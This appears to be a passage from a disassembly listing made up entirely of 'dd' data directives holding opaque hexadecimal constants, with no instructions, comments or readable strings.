		dd 2A088751h, 32EFFF18h, 2AA1236Fh, 0EB05A0F4h,	0F1803A04h
		dd 3CFCBC46h, 0B1004AEFh, 7048983Bh, 0D30057C4h, 36C0C8CEh
		dd 588392B5h, 384C4471h, 21AC7B03h, 0DDA85445h,	54EECC9h
		dd 2D873C00h, 0E92449h,	0E1C83520h, 0FF7D5E5Fh,	0D6D4DC00h
		dd 62689FC4h, 624B6EFAh, 0E4A930D8h, 7EF53200h,	46E3C44Ah
		dd 7D083B86h, 745B1400h, 0F707DA93h, 1B663Fh, 2A1C221Dh
		dd 1F047E01h, 9932DEh, 2E9F7483h, 0C75B640h, 3CF32B12h
		dd 4240C21Dh, 0A7E69745h, 7579009Ah, 38878547h,	1E07D87Fh
		dd 866010CAh, 0E8685D83h, 42FFA6h, 0BA584B11h, 4CD065E4h
		dd 188C8A03h, 8F97A5B0h, 509C00EBh, 1F3DF215h, 0F35C211h
		dd 0E433B7D6h, 0E490AB04h, 0E869B201h, 162B73D1h, 1BA9C540h
		dd 5E1700EAh, 7D4EBA96h, 0AD1CFC28h, 4A809CF1h,	0FDC10507h
		dd 7CFF4814h, 0CB387800h, 9D88E3ADh, 72B84F58h,	7729E600h
		dd 0AE6F9580h, 686C0312h, 0DEF29A37h, 0E25522C0h, 0FD1E2B00h
		dd 0D62134EDh, 985202D5h, 6A2784A8h, 0E3186460h, 0B33A8C92h
		dd 60DDAFD2h, 4B65236Ch, 880C7ABAh, 1AD7083Fh, 421F2F9Fh
		dd 0D26A8904h, 8117FCA2h, 61AC88E5h, 74200881h,	51093EE7h
		dd 48D86402h, 0D852DDACh, 4EC01494h, 0A83A662Ch, 3F080D34h
		dd 4BF1E824h, 0C93433EFh, 0A5452026h, 0CD5283Eh, 6068B354h
		dd 0EE0068E2h, 93F026C2h, 0A7A4E8h, 46F5B54Ch, 3BD23378h
		dd 8C05CFF2h, 515BD407h, 9D39A8E3h, 7238B800h, 8001E178h
		dd 2FD0D100h, 0E7970EFEh, 0AC962F8Ch, 6967F820h, 100432Bh
		dd 0A3271E44h, 0CCC3EECh, 41792EA0h, 0C300FF58h, 8596741Dh
		dd 0C37CCEA8h, 352AC118h, 17943C06h, 0C1E484h, 0F0723F89h
		dd 26693062h, 94586A28h, 0A6218EF5h, 5688C047h,	19C0E32h
		dd 7CD80BD7h, 0D84681EAh, 2F0A0934h, 0B88DC2F2h, 0E0549080h
		dd 0B84EC007h, 0A80D1DB1h, 87998FEEh, 0C7D54A23h, 74407DE7h
		dd 68B801F8h, 112AAD30h, 0AD1484Bh, 786DA50Dh, 8E63AE8h
		dd 0E6012131h, 82C8D130h
		dd 65700C56h, 0C00B0C97h, 8E588B68h, 51631600h,	0BF8DE739h
		dd 0EA28825h, 3A4CBB12h, 0E0701803h, 0F6310879h, 6D9C500Ah
		dd 2D0A9468h, 0A08F02B8h, 0A9D3FC02h, 0B7FCE097h, 0DA9A0042h
		dd 0F3AA5A54h, 9803AB2Fh, 1C1983D8h, 0DB7A07Eh,	0B0AD007Ch
		dd 0E223201Fh, 631CF7FDh, 80390895h, 0C4738D69h, 0D3BDFAh
		dd 372DB7A3h, 0AB03123Eh, 9EA2A00h, 72D4E278h, 0AF9200DEh
		dd 0DA5A9483h, 839821ADh, 0FAE3BA03h, 887D0628h, 36C42Fh
		dd 0DDCB77C7h, 63889320h, 7BA9E500h, 0BB26E0FCh, 293D00D0h
		dd 0EFF9EB8Eh, 6F0071E8h, 526D8147h, 7BD3D6h, 1CDBC551h
		dd 0DE2E164h, 1EE72E58h, 1540A6DFh, 58271A21h, 0E0AB5CFFh
		dd 0A17EC501h, 0E772538Dh, 1BE81CE8h, 0D105DC00h, 1A425458h
		dd 0CC910E57h, 9EC02A98h, 808BB4A3h, 95F70118h,	3D526118h
		dd 8D877FB9h, 4CA4770Fh, 5300C110h, 0F929607Ch,	3A22839Ch
		dd 0B0309D49h, 7C5B5F21h, 670624FAh, 992590C3h,	0E6A11818h
		dd 793099C8h, 43EE707h,	0AFB728D9h, 144B2580h, 0C44C3E68h
		dd 98D05286h, 58CE38BFh, 615E83F5h, 9F110083h, 1612C87Ah
		dd 0BD19A966h, 0A6085DFEh, 723E2183h, 80B7C9C8h, 1AB6CCA2h
		dd 7E2E8C0Dh, 509158C2h, 0C87B805Fh, 8C6E1613h,	3A3DAA44h
		dd 55BCC873h, 5F48E280h, 8A2841F6h, 0FA122C0Ah,	7802A0A2h
		dd 8922B11h, 800B119Ch,	296C7C57h, 229D4359h, 5F6300B5h
		dd 0CEA5087Ch, 1500F046h, 2AD57B87h, 0C08DB20Ah, 187EE360h
		dd 9A60221Ah, 0CBF4410h, 0AE4E0379h, 0B3BC6AA5h, 0EAE2A9B8h
		dd 56D31F07h, 0C02F5EFDh, 77B0589Ch, 0E11F85Fh,	0DA109B9Dh
		dd 8EAEC281h, 0B64EC051h, 590D4800h, 11FBCDEFh,	0C7540F7Ch
		dd 2F61DF2Ch, 20C1104Ch, 0E41CB446h, 7207C558h,	5C1246D9h
		dd 0E07241BEh, 7CD45FF0h, 0C10D076Ah, 4026A4ACh, 1E4BDB97h
		dd 0B5291A09h, 0C9790F2Dh, 217D2C05h, 1A161CE8h, 5AE94053h
		dd 0FCF40F03h, 0C81D3E03h, 2BD117h, 1B91ED28h, 4672DAB8h
		dd 78D43430h, 1C2C2173h, 86DC01C1h, 30DB5AA9h, 67117700h
		dd 47BFE01Fh, 10181DC5h, 216B1848h, 67032A9Dh, 0C750E2A5h
		dd 58B862E8h, 980C8CACh, 259C82Bh, 186712C0h, 8EC743E0h
		dd 1B67609Eh, 0C0305B66h, 5C84ACE1h, 23382720h,	0C42D1496h
		dd 0C8AE8894h, 0B51302F1h, 9499BCBDh, 10F2103Eh, 665C001Ah
		dd 7B36A64Fh, 96A0B585h, 29186333h, 0A5B9C995h,	0E3F1099Eh
		dd 4E80CC2Dh, 4044EC38h, 1D055DE6h, 0D67F162Ch,	7BAC4Eh
		dd 0F3DB49Ch, 5C5B19E5h, 92E808E6h, 0F7001021h,	229E68D5h
		dd 807D0092h, 0AF0A714Ah, 0E4515446h, 2A940098h, 0D9604056h
		dd 8E9BE210h, 5A0A0035h, 0A808CB85h, 4C137190h,	0AE00BA7Ch
		dd 0E478D552h, 243B005Ah, 208BB95Eh, 0D703B814h, 0A953B53Fh
		dd 0F94BF083h, 3B3D7124h, 0E0077068h, 7FA3D111h, 0BDD930E1h
		dd 4232609Bh, 11D0FF75h, 20DAF04h, 0FC10974Fh, 1524C10Fh
		dd 50E4AA8h, 13C34098h,	28ECA2A6h, 1FE89902h, 81019715h
		dd 805869D1h, 0F842CDA5h, 4D006CC6h, 3C569D88h,	905734h
		dd 0E7D1E0E6h, 0B32982Fh, 2A3D7BE0h, 607280B4h,	4D04766Eh
		dd 7BF0064h, 1967E996h,	1500DE4Ch, 6A9894B8h, 753BFD48h
		dd 0A8F00075h, 0AF98BB0h, 0E1073847h, 4F25ABE3h, 0F522AC50h
		dd 4B5D008Ch, 9C2A6BB0h, 102E3A0Dh, 89016F5Ch, 0E5C10ACDh
		dd 7368EEE4h, 43AE0EDBh, 0FD006364h, 0C5A9FF29h, 0B7FB1CC0h
		dd 50245E4h, 352D423Ch,	3EDD0B7Dh, 281E99D8h, 4800E868h
		dd 9A0BD3DDh, 4D1300FEh, 0CF9218DAh, 0F8BD8F5Dh, 931700ADh
		dd 13965ACAh, 0FF5C544Eh, 4B68006Fh, 9E0BF9E0h,	63DB0E27h
		dd 0DD4061E2h, 0DC58AE09h, 0E126448h, 0D8A84Ah,	6D1860E9h
		dd 0E8E007Dh, 0AE9C0671h, 0E8C09FA6h, 0ACDE5E93h, 914C0020h
		dd 0CD76DD08h, 472E39CCh, 0BD001AE1h, 453BCB53h, 8D8F00EBh
		dd 0E4314095h, 0D701357Ah, 0B6FF14EFh, 8248E47h, 0D40A54DBh
		dd 2FB730DEh, 0A0106F50h, 94E7C800h, 1E734C24h,	7E8FF0A2h
		dd 7CAE0066h, 7DB21CF3h, 0E800BC54h, 68B01D4Ch,	10FAF24h
		dd 3A9A364Bh, 0CCBBDCF1h, 40929CBEh, 8620E801h,	0B4F5EB9Eh
		dd 0C676C4h, 54CBE29h, 0EA09609Ah, 2A6ACD00h, 87513227h
		dd 0CAA70E1Fh, 0C587EF65h, 846BC029h, 814F955h,	98C668h
		dd 98475A20h, 505C1D1Fh, 180ECCE4h, 20C8B9FFh, 93036B72h
		dd 340C0B27h, 0B8BE9868h, 22333FEBh, 0A50EF83Dh, 51E07BEAh
		dd 0CB8E7970h, 520F3FFCh, 83FCB2CCh, 0E0DD3A68h, 78BD08h
		dd 0EEC759CDh, 0AE831184h, 0A527400h, 60F089E1h, 55DC0034h
		dd 0F430ADEBh, 0F3007137h, 73DBF9B6h, 0A0AC66h,	361F68B3h
		dd 0CB37FCC0h, 38D948h,	3DD3EB94h, 0EC93E741h, 92E2006Fh
		dd 0B6FEC94Ch, 0C70005D2h, 0CD779E30h, 2AF7BE81h, 0ACFCD7h
		dd 0A18920EFh, 0B5B864E8h, 0E22C6D00h, 0FA6AD5ADh, 2577187Eh
		dd 0C5AF2087h, 3C2EFB00h, 0BC227D41h, 74E273h, 6A7A507Ch
		dd 0AD774428h, 2C02D38h, 0A86E2EE8h, 0C9F4818Dh, 70909458h
		dd 2A6D8076h, 7CB3DDh, 42432302h, 882F4450h, 81830B03h
		dd 4CCDF46Eh, 3100DFE0h, 0B2F8BBA8h, 0FA02F72Fh, 9004F388h
		dd 120C4407h, 1CF2B934h, 9BC6C1FCh, 0C0A28C4Eh,	24F513FAh
		dd 68996338h, 8420D403h, 5FC1C0A0h, 12EA003Fh, 19C3029Eh
		dd 97D13FCh, 0BA0013B8h, 0CA90288Bh, 53D392h, 3C9359D5h
		dd 0B90F4D82h, 63E60C00h, 1DD17A5h, 4A760099h, 0CE03BC14h
		dd 0C4003592h, 0C0F1D9D3h, 9313DCh, 0E1447468h,	2F3077ABh
		dd 0E47753E8h, 13C21E58h, 4400CFE7h, 12DC0697h,	0DDA100A9h
		dd 0A2B29802h, 1C075BCAh, 0C3885A9Fh, 0D2C5D90h, 0FC390328h
		dd 0A762AD93h, 86322F80h, 0C44CB17h, 45916E00h,	74028F8h
		dd 0E7363EA5h, 7D6B8021h, 720049CCh, 77A914A8h,	380780h
		dd 250CCE93h, 3791417Fh, 0D1DC030Ah, 2B81B8A6h,	0D9BB2F50h
		dd 4330D0h, 4D8DC769h, 9B34BD5Eh, 20EA0A00h, 0A1B3F1DEh
		dd 0E89407BBh, 0E9CC33B0h, 0BA7B0020h, 7E00C3D7h, 257942C2h
		dd 482D73h, 78203D02h, 715EBDA4h, 0A7563907h, 0A056A2D8h
		dd 7022006Eh, 0B13C2415h, 0BD00C407h, 27B486EDh, 0F59D6Ch
		dd 3845CEA7h, 3775D202h, 5E4A880Eh, 2D0E01BEh, 0B661AF7Ah
		dd 2667F8h, 77E61695h, 0C2A23AFDh, 81315F3Dh, 41C0F50Ah
		dd 3C340432h, 26CCB04Ah, 9E08E789h, 0E3AD80A0h,	0B09DB8AAh
		dd 0D0254Ch, 8B3D2187h,	0E0D222FAh, 138FE69h, 81659D0Fh
		dd 80E66ED3h, 0CA540728h, 0E34C34h, 0A9D6123Bh,	51041092h
		dd 0C7684600h, 7F5F6477h, 5424F51Ch, 9598A082h,	6861127Eh
		dd 91A9005Eh, 0C89A57D2h, 35586A00h, 11BCB405h,	6D8C39E3h
		dd 0F2377D80h, 0AAEDC7ADh, 0B1F3B200h, 5CB9189Ch, 0A855001Ch
		dd 8F65BAF0h, 62396D21h, 0B4528003h, 5C14DB63h,	0BA7307F9h
		dd 50CEE6B0h, 0F2A9EAB5h, 0CD8CC500h, 40198407h, 69B407BEh
		dd 30BCE609h, 0D7369F4Ch, 43B28600h, 0F5327E3h,	264E00CFh
		dd 712ADD78h, 36008C60h, 0BF287BD5h, 0FA7F62D2h, 0A6490016h
		dd 38DA12Dh, 2000ADFDh,	0F78ABC73h, 3D3DB5Ah, 0C0213116h
		dd 0EFD86E10h, 32F31B0Fh, 371A0E98h, 0CFEA00F5h, 0E01D4358h
		dd 0E3E60091h, 83BF2DBCh, 1900746Ah, 0CAD48EE2h, 5D0676h
		dd 3C4FBBEh, 0D652880Bh, 0CC212200h, 763871F1h,	34D90096h
		dd 1679A55Dh, 0C20230A9h
		dd 326DE957h, 0C026E068h, 0F560005Fh, 0F6361591h, 0D6F62B19h
		dd 7A0C1E00h, 0DF7E7B78h, 0CAB2002Eh, 9998BF97h, 820764C7h
		dd 2893FB07h, 0CE898089h, 90D113h, 7EC49192h, 155C64Ch
		dd 9FE24E3Ch, 0BDC45341h, 5CD2DBC5h, 25A080D8h,	1350A40h
		dd 20CBB4BFh, 20E7A28Ah, 6F00BB3Bh, 0E5A47EE1h,	0B0B3F96Bh
		dd 0C42B0094h, 549B9646h, 490066D5h, 74302CDEh,	2627B9F0h
		dd 723E243h, 0F277572Eh, 7640D2D3h, 0D5003EDEh,	8D83CA76h
		dd 0F2CAE94h, 58DD7017h, 14353FA2h, 835A9282h, 0BD190C50h
		dd 26207116h, 0D12E5701h, 987AD029h, 5C1C74F9h,	1E7897FAh
		dd 2CEFE10Eh, 21E58055h, 6F33D8D4h, 5B03504Fh, 14E0F3DCh
		dd 0BF07E245h, 0EEE7F048h, 0E8FA9C80h, 2BEF068Eh, 58537404h
		dd 0E23D2C13h, 0C215901Dh, 0EC200698h, 1879E123h, 51E645DAh
		dd 591F53F5h, 5A4AAAD2h, 5E2D08BDh, 0FAE102B2h,	24809D14h
		dd 343F4740h, 9FD74500h, 0E3468F02h, 6AA0018h, 67910BC9h
		dd 540B88B8h, 500D4Bh, 0ED25E316h, 9E9A0021h, 225A7B49h
		dd 0D007F3A6h, 79099608h, 0CD3214A1h, 27AF0h, 0F1E50A91h
		dd 4ED48BFFh, 0D821B900h, 5A587B04h, 3CE1012Ah,	1FBA5328h
		dd 93BDF064h, 0B8570100h, 0C42F39A9h, 19A6008Dh, 4E27E49Eh
		dd 0D9036E62h, 5C912928h, 23F2F9EBh, 0F7037F4h,	0E7AAF965h
		dd 50D8C07Fh, 0A0B6E5A6h, 47FC2A0Eh, 1F0424D3h,	0AF1B9C0h
		dd 1EAEAAFh, 0E6CF0E7Eh, 0EC56C33Fh, 0F6E80DC4h, 71641E00h
		dd 81204C21h, 33E752Dh,	0B30FFBAAh, 0A8E8E61Ch,	110057BDh
		dd 82E86366h, 1FAF5CDFh, 0DFD53C50h, 2F0A072Ch,	9BBBC08Ah
		dd 0C554014Dh, 0F903DDBCh, 65737DAh, 0AB3EBB3Fh, 0E5DB38h
		dd 0DAF21721h, 0E4E35B9Ch, 2236DF12h, 8A80445Dh, 0B3A2EB92h
		dd 189800DBh, 21D4F1C0h, 9480898Fh, 9C86366Eh, 48362078h
		dd 0E6419049h, 4E5E1812h, 0C840201Fh, 14A7020h,	0A8BED2FDh
		dd 8B566EE6h, 40D0E4B9h, 6F12187h, 0CCA840D8h, 120F10E6h
		dd 80873599h, 0EE8192EBh, 7F9FEFBh, 5269822Fh, 0D06637C9h
		dd 0EB5A5777h, 8767A722h, 7C2B4104h, 1F108364h,	90F0639Dh
		dd 0E9FACDh, 0E65DA71Bh, 56F1D469h, 209F1533h, 9131B0F2h
		dd 0ACFF00A9h, 47A5571Dh, 0D2EE0C46h, 0A3552500h, 4084BBCEh
		dd 9A5B036Dh, 0B5CF0615h, 0B489D6C8h, 42F6EC00h, 50AD1B1h
		dd 183E00BEh, 1A8A5E06h, 1F06E7F9h, 0EE7AB9A0h,	0C030011h
		dd 0C4BFB40Bh, 8500464Ah, 8764DBC7h, 0D62F41h, 0EC4EC9E5h
		dd 7C63679Bh, 0A1B74B01h, 0AD6CE625h, 1F4897D0h, 407A2623h
		dd 6DC85724h, 563CE9CBh, 0D1698F73h, 1EA440F2h,	76800F99h
		dd 0D460E6Eh, 852033F0h, 878917EAh, 78105D38h, 319470Eh
		dd 524BE0F1h, 7DC4BAh, 0FE423A76h, 0CD70FA09h, 8745BB0Ch
		dd 77EE9D8h, 92EE1C8Dh,	5717E076h, 0D000E7F7h, 0D49C32BAh
		dd 0E30FC5h, 0C64A79A9h, 0DC505804h, 395CB203h,	0D08502FFh
		dd 4D99D0h, 44067936h, 6B3F88BBh, 1B3270E1h, 0C37B7C01h
		dd 0DB16D50Dh, 0F000F221h, 75C591Ch, 97E2E16Ch,	2CE0D37Ch
		dd 0BD3694E8h, 2128B598h, 9E05C8BBh, 1BBC668Bh,	99D4D040h
		dd 0A095DAh, 0C5815A02h, 0CCD95EF5h, 0ABFE6E02h, 486886EEh
		dd 276224h, 52E091A9h, 90B3C4A5h, 1742BF00h, 0C95DEE65h
		dd 0AF7C02CEh, 2EF61A61h, 0A87BAAC0h, 4232F100h, 0BF3F4686h
		dd 1020F79h, 57A04ADBh,	0D9C36508h, 0D3E4E50Bh,	4C2B032Fh
		dd 1154A8D6h, 718D803Bh, 3A72C400h, 0CBFC5186h,	0EBD93CEDh
		dd 0A84B7400h, 0CD16AE04h, 8089C30Ah, 560E9F97h, 0D77480EBh
		dd 0E42699h, 5FA51A5Bh,	403187DBh, 7F486A18h, 410420E0h
		dd 0A428D067h, 31528915h, 2CA34CA0h, 0D6007BF7h, 0B117C9E2h
		dd 756900DBh, 0D126C550h, 9E006241h, 0A3310353h, 0C44482h
		dd 6CD7B7E9h, 2DCF97CBh, 8261D83Ch, 908AA84Eh, 58CC494Fh
		dd 872AE980h, 0EA5EE703h, 73A36204h, 1C804F45h,	6EC684FEh
		dd 8C8006F0h, 90A75329h, 0CD613416h, 0B01587FAh, 0ACF20BC2h
		dd 17AF0405h, 0D4006351h, 0D1C725D0h, 0F7D80077h, 0AB241453h
		dd 9B121E70h, 40B828h, 0FA233440h, 55150772h, 9480EF89h
		dd 0E9C8801Bh, 0B00A81E5h, 88DFB59Bh, 45157100h, 3A25847Dh
		dd 94A64630h, 0CCEA8030h, 0F54BF2FEh, 0A83C5500h, 5779745Ch
		dd 0E5690001h, 0B21C031h, 600CF41h, 0FA50A68Eh,	1D2B1C8h
		dd 371DDD60h, 0D113487Bh, 0E2A1D0C0h, 8FF06926h, 22391A00h
		dd 7965DDDEh, 361900F1h, 0EE3D6771h, 34008B60h,	5D6E7FCEh
		dd 7438315h, 42FD02Eh, 1C004923h, 0F87B90DFh, 88C97E07h
		dd 0CDB062DCh, 0D8C6FBh, 0EF22CF38h, 0F3DFCA72h, 0DD00ADEEh
		dd 0A864BACh, 733BBB99h, 467C04AAh, 0C395AE50h,	5BD01DE7h
		dd 6006DE68h, 6DFDC358h, 7DD92680h, 4D890E5Ch, 667CF9Fh
		dd 2D23E643h, 9C398190h, 402C200h, 0FCAD0310h, 0A0705087h
		dd 4916016Fh, 0D1FD271Fh, 37F88112h, 0E2DD9738h, 0B631F0h
		dd 0AA06B515h, 36D47991h, 83CB9300h, 84D65A5Dh,	87280137h
		dd 3DAAC804h, 5E42D4DBh, 0FEDCE501h, 0B054B617h, 48807424h
		dd 796A89h, 39D29787h, 0FA55C7FBh, 489C070Ah, 0B109C6FDh
		dd 6A4D0053h, 60D32861h, 0EED41126h, 7C00B608h,	0A01C3114h
		dd 12223865h, 9C3CD7h, 0F554F79Ch, 7902957Dh, 5605A38Ah
		dd 6C604072h, 1F63093Bh, 4020D874h, 5CC6A99h, 2B986200h
		dd 0CB2FD740h, 675118F0h, 8ABAB109h, 0FB75E100h, 1F98EC0Ah
		dd 4F36002Ch, 2BF71A7Ah, 181534CEh, 39C8CEFh, 0BB09FD81h
		dd 406A8C8h, 6C8E0073h,	0A1A5F8Dh, 0D100A12Ah, 0E44E6392h
		dd 7A25BC85h, 0C88E009Bh, 0BD5310EBh, 500BB78h,	0E683DA67h
		dd 0E888BAh, 16217A23h,	17315D25h, 80BD5E39h, 0D36342A7h
		dd 5DD237Fh, 77AB808Dh,	0F06AC0C8h, 3F038C9Dh, 0B1EEF630h
		dd 43A2905Dh, 0CA6A1DFAh, 485E4024h, 852E5587h,	0E1307012h
		dd 0C1751C0Fh, 0E72D7F79h, 6F653887h, 0B3CE64h,	874D98DCh
		dd 8A74C1ABh, 0EFBA8302h, 80722C3Fh, 0D5A6DDA8h, 0E97A04h
		dd 991A9FF5h, 0F24E7C96h, 53F1B800h, 5E60A21Eh,	1FCF1C9Ah
		dd 64E500CDh, 7480C67Ch, 73E07E00h, 0A0B563A6h,	9C570071h
		dd 7DBFE4C1h, 0DE72B65Ah, 7A7CA558h, 0C6EAA27Bh, 1C2E081Fh
		dd 2AA061C0h, 4C4895DFh, 1A008027h, 98CAE0EEh, 0A70CBFD5h
		dd 0A093F17Bh, 0D29400ECh, 0BB97E46Dh, 764DD408h, 0E11008Ch
		dd 844158CCh, 0D29D003Ah, 4495B2FCh, 0A3003C86h, 42CA15D7h
		dd 0F9965A5h, 29F5B592h, 0FBC78780h, 3A481E68h,	0C38E0070h
		dd 0E64F6DF0h, 94B0FCh,	686F82E0h, 0E450EB84h, 7BF671C0h
		dd 183196Ah, 68BE33C3h,	0CB4EEB86h, 7DF0210Bh, 0DDA4A76Ah
		dd 0E4AB8B30h, 0E8B5E87Fh, 24F0182Dh, 25EB216Bh, 736A1CA0h
		dd 68B80A0Eh, 4F809CCBh, 0E7858290h, 32EC26AAh,	8B5900DDh
		dd 0D7E18D68h, 2A00E6EAh, 92DE5B90h, 122F66Fh, 4A5ABC6Bh
		dd 0F4C0860Dh, 8B01179Bh, 0AA124563h, 0EFCCEB5Fh, 236418C5h
		dd 0E0A039E3h, 0B014CB0Bh, 0E6DC2063h, 636A902Bh, 0D372905Bh
		dd 617DB6A3h, 4FBBFE00h, 394EFD21h, 619E1EBEh, 87724069h
		dd 1520C056h, 649AF90Bh, 5B010A5Ah, 8C79A43Dh, 89D24B04h
		dd 58B710C0h, 11A800AFh, 5AED71F9h, 9803D56Dh, 0B0AABA63h
		dd 15A1B049h, 0D0800E66h, 0B70032C6h, 0B6895E3Dh, 80128F3Eh
		dd 76EDAAABh, 77B5CFA7h
		dd 5808020Dh, 5110B231h, 4559D040h, 81CD2400h, 0C5FA1B7Ch
		dd 0BF860090h, 0A772BAFCh, 0A500DB50h, 0C6631E0Bh, 11735C0h
		dd 62B6D84Dh, 0D87A61FEh, 0D7006B7Eh, 0F114B7Bh, 50AFFB3Ch
		dd 255F9DC1h, 0A83E8241h, 0C5276E01h, 697FA593h, 0B606198Eh
		dd 9408AD29h, 0CFEB0CD0h, 0D0BAEF08h, 0B6BDAC04h, 6E809168h
		dd 7C7EF9C4h, 8CCF09E9h, 1A004BF6h, 9E6661E6h, 3AB7980Eh
		dd 974F6306h, 0E340008Fh, 0F95C0C10h, 0EB24FC99h, 610AA0E7h
		dd 0AF00A165h, 0BAF158EAh, 779902FAh, 0A6C3EE13h, 0C275209Eh
		dd 0DF620C8Ch, 4D20C888h, 2B2F6712h, 0AC97C820h, 68B9262Ah
		dd 0F09003C0h, 98A30BA2h, 0B4A42100h, 0FBB1112Ah, 3A2F00E9h
		dd 640C4707h, 7D7A5F48h, 3DEC010Eh, 0B44BC08Bh,	506F4D49h
		dd 0B41A430h, 40F71255h, 77DE9400h, 760CE0D4h, 61ED2B60h
		dd 28F83ECBh, 31703F03h, 0E9D84913h, 5A15779Ch,	1CC15EAh
		dd 0E2032605h, 39B283D8h, 0AA302DC8h, 68C31C2Ah, 9491610Bh
		dd 2AB2387Fh, 0FA80330Ah, 213B80DCh, 53C087F2h,	48431607h
		dd 967012EDh, 1FEAF8Eh,	394CE311h, 0D9E22162h, 0F5399D99h
		dd 0A5DEC5C7h, 3FB8031Fh, 72A9008Eh, 0C342658h,	6B19C3A3h
		dd 8908AB13h, 0A0D32184h, 0DD998026h, 0F9B89C88h, 9024E800h
		dd 0B52DD43Eh, 0E73D03C6h, 0A3D3F751h, 0BDB6A7D0h, 48599324h
		dd 0A9B1C2C7h, 0EE189FE4h, 0C9A088h, 0C27D4AB6h, 0E0E1F8D7h
		dd 0C68824h, 20976D00h,	0C078D011h, 66FDAA10h, 24E7CFC2h
		dd 2E0FC784h, 0C3E05F4Eh, 30E8EB6Fh, 0A7216B09h, 4A004E37h
		dd 0F8F544DDh, 691055h,	28150178h, 0DC6FDE3Bh, 2AF48050h
		dd 183EB44h, 6E37B0DFh,	0D1B33695h, 57BDD098h, 64F6081Fh
		dd 0BB351D01h, 71BADE50h, 39DC660Ah, 15B10144h,	4EAF513Ah
		dd 94078488h, 891A6B30h, 0DD86C600h, 9F40A2F6h,	0A1E2602Bh
		dd 0A8B47068h, 0D7DE411Ch, 23735901h, 0F29FAE77h, 6C0C8906h
		dd 6AA97800h, 0BD4894DFh, 547204C8h, 0F0818143h, 90DE93C4h
		dd 10B6B94Ch, 0E0A7E4ACh, 0B6C09Fh, 960232EFh, 39A03CA3h
		dd 41E8F39h, 7F093814h,	9531B091h, 0F1123C20h, 0F48EB183h
		dd 78007663h, 0B861077h, 0F099F1h, 3A9B2884h, 7042660Fh
		dd 40C3F426h, 440814A4h, 0DC8003C5h, 18166E77h,	982113F5h
		dd 7F3063B1h, 0E0211237h, 0BDD84934h, 6036B804h, 23BC2AAFh
		dd 9A11A368h, 2AB73700h, 7EB14969h, 0DCB46E1Bh,	0B88895D1h
		dd 1FA40352h, 0E706F5DFh, 5EC83912h, 7AE23440h,	116CEB5h
		dd 0EE14841Ah, 0CEA7867Fh, 6467F8C8h, 0B68CEB00h, 0DB1A3FBCh
		dd 0DABB0033h, 3C2EECB0h, 6304B3B8h, 62DA95Ah, 0A7C2C490h
		dd 303890B5h, 7718AF5Dh, 92353CB6h, 62F0816Dh, 2B31CA0Ch
		dd 4A93408Ch, 800DD7Bh,	200649AFh, 502D0F8Ah, 135D9091h
		dd 14826C14h, 181080FCh, 64070B9Dh, 82A30FD6h, 6887E65Ah
		dd 0FFF59104h, 0B0E87185h, 698E0215h, 0C8412721h, 84718BFh
		dd 0C2E06C4Eh, 0A44073C4h, 0C0104E30h, 946149E4h, 61689178h
		dd 449021B1h, 0FF120884h, 23342E04h, 8F670074h,	5C646C46h
		dd 7F0F260h, 0CF1441h, 50207BAFh, 0E810E408h, 0F8385C58h
		dd 6008C9Fh, 0F4DB2F6Ah, 24C4C74Dh, 10787222h, 0CC8F0B87h
		dd 5AA40030h, 900D2865h, 93649C2Ch, 8B770D22h, 6EC32F0h
		dd 0F6F7FC0Bh, 0E18F06B0h, 0A06CA010h, 39E8E230h, 0DEEE4A67h
		dd 54880331h, 700694D3h, 6A1558E9h, 444C9A30h, 0BD01B8DAh
		dd 64068926h, 60A4F8E8h, 4200DEA8h, 4A61755Eh, 6193B0CFh
		dd 300754FFh, 8E788468h, 0D8931F4Ch, 1D7F04Bh, 0F04A1EE2h
		dd 512C8590h, 8914C1ABh, 0DF544178h, 0BCBC5023h, 0F2EDE57h
		dd 6004C169h, 0F09851B3h, 0ADA501C8h, 0B8611DBFh, 658470C4h
		dd 0B6DEA1C0h, 7C3EB14h, 0A746F358h, 0C7640182h, 0A8037F9h
		dd 0FC04DF69h, 35A05798h, 0AFDC196Eh, 2308B975h, 0FE00688h
		dd 0A38090A9h, 49A0107Ch, 6DC20083h, 8B8FE394h,	0F8F7497Fh
		dd 0C05BFB1Fh, 0BFF6AC7Dh, 0A600A0ECh, 924BC728h, 0A4896B2h
		dd 0F4CFFC08h, 60BD44C4h, 235E4E31h, 6D1132E0h,	4E3AA600h
		dd 7C1083DBh, 0A1122AB0h, 840E52Ch, 0BB82A99Ah,	0F4850088h
		dd 79DF463Dh, 40093CE6h, 82F336C9h, 287605A4h, 35A0FCEh
		dd 8437B727h, 4DD8A4F0h, 0EEC25B0h, 23207C5Ch, 265100B1h
		dd 0C2FB0C49h, 0D87E4486h, 0E5265904h, 0C862C0Ch, 56A07E9h
		dd 2BF607C5h, 0EC6E1010h, 2C80FB20h, 47C42B4Bh,	0CF081C77h
		dd 20115F60h, 39C8FFFh,	9B8AD95Ah, 80E035B7h, 0B5004C07h
		dd 0E137A95Fh, 26FA1572h, 80F86ED7h, 54DDE49h, 0FB547F77h
		dd 0C1FC43D0h, 3A4F4100h, 0F45FF152h, 85DD02CDh, 35D2B7D4h
		dd 76C2FCC2h, 0C0C56805h, 10AB8722h, 274CF700h,	8D0783E0h
		dd 6613DEFh, 48CB1A82h,	0A04451B4h, 90E25A18h, 12DC5441h
		dd 4CABC6Bh, 0D19CDFB0h, 807C2B74h, 1CFEFFF1h, 18A7B81h
		dd 0CCF59D7Ah, 30DC4C60h, 0EF405DE0h, 0E014100Bh, 0B6007C9Ah
		dd 3878F0B9h, 4D4C6EA0h, 40003C13h, 1C9A2D14h, 0CA3AF28Fh
		dd 0D2A71428h, 552A3DD4h, 656C41A8h, 895902E1h,	6FF8AEE0h
		dd 6DDCC4E2h, 4BF69080h, 9EBF26C1h, 6B9103D4h, 400C6CA9h
		dd 0E18D755Ah, 0E6DA1F05h, 5468431Dh, 8878721Bh, 0FD819B04h
		dd 0B0C2AFC3h, 2AA93030h, 1368C209h, 3FE8450Bh,	0AE2AB180h
		dd 23B5792Eh, 1D8BE903h, 9B08EBDBh, 0DFC008B4h,	5039628h
		dd 0B23B1664h, 0C3160E9h, 745B5CAAh, 0C30F5A23h, 17E4A4B6h
		dd 93F461h, 0F6B6CA9Dh,	7AC60B60h, 98F9518h, 4F9233E5h
		dd 0DE8606ACh, 61FB5EDFh, 1164ED60h, 208249B5h,	0EFDAE4ADh
		dd 942068C0h, 59146380h, 9445BC28h, 30398802h, 0B7112AAEh
		dd 9988AB68h, 2AB63687h, 413170C0h, 80271806h, 6AA5D95Eh
		dd 447A3B01h, 1EA0ED08h, 0D606BC40h, 0E47016B1h, 0A01051E3h
